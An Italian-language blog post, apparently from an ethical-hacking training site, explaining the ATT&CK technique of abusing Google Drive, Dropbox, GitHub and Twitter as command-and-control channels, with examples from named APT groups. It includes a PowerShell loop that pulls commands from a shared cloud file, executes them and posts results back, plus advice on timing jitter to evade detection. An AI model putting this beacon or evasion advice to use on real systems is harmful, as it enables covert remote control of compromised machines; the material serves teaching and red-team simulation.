Comunicazione Bidirezionale: Web Service Hijacking for Command and Control (T1102.002)
Gli attaccanti sfruttano servizi web legittimi come Google Drive, Dropbox o GitHub per nascondere il controllo remoto dei sistemi compromessi. Questa tecnica trasforma piattaforme di uso quotidiano in canali di comando e controllo invisibili.
La strategia rientra nella tattica TA0011 (Command and Control), permettendo agli avversari di mimetizzare il traffico malevolo nel normale flusso di comunicazioni aziendali. Un sistema compromesso può ricevere comandi attraverso un documento Google condiviso e rispondere pubblicando i risultati su un repository GitHub.
16 gruppi APT hanno implementato questa tecnica in campagne documentate, utilizzando 37 diversi malware specializzati. La crittografia SSL/TLS nativa di questi servizi offre un ulteriore livello di protezione contro l'ispezione del traffico.
Per simulare questa tecnica in laboratorio, inizia creando un canale C2 attraverso Google Drive. Lo script PowerShell seguente stabilisce una comunicazione bidirezionale:
$credentials = Get-Credential $drive = New-PSDrive -Name GDrive -PSProvider FileSystem -Root "\drive.google.com\share" -Credential $credentials while($true){$cmd = Get-Content "GDrive:\commands.txt"; if($cmd){Invoke-Expression $cmd | Out-File "GDrive:\results.txt"}; Start-Sleep -Seconds 60}
Su Linux, puoi utilizzare l'API di Dropbox per creare un canale più sofisticato. Installa prima il client Python: pip install dropbox
Il malware DOGCALL implementa questa logica utilizzando multiple piattaforme cloud. Replica il comportamento creando funzioni che tentano connessioni a servizi diversi in sequenza, garantendo ridondanza se uno viene bloccato.
Per Twitter come C2, il gruppo APT28 ha dimostrato l'efficacia di tweet codificati. Ogni tweet contiene comandi base64 che il malware decodifica e esegue. L'output viene poi ripostato come risposta al tweet originale.
GitHub offre possibilità ancora più interessanti. Lazarus Group nasconde payload in immagini apparentemente innocue nei repository pubblici. Il malware scarica l'immagine, estrae i comandi steganografati e committa i risultati in file specifici.
La chiave per un test efficace sta nel simulare pattern di traffico realistici. Non eseguire richieste ogni secondo - implementa jitter randomico tra 5 e 15 minuti per evitare detection basate su periodicità.
Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?
Scarica la guida gratuita e segui il percorso corretto fin dal primo passo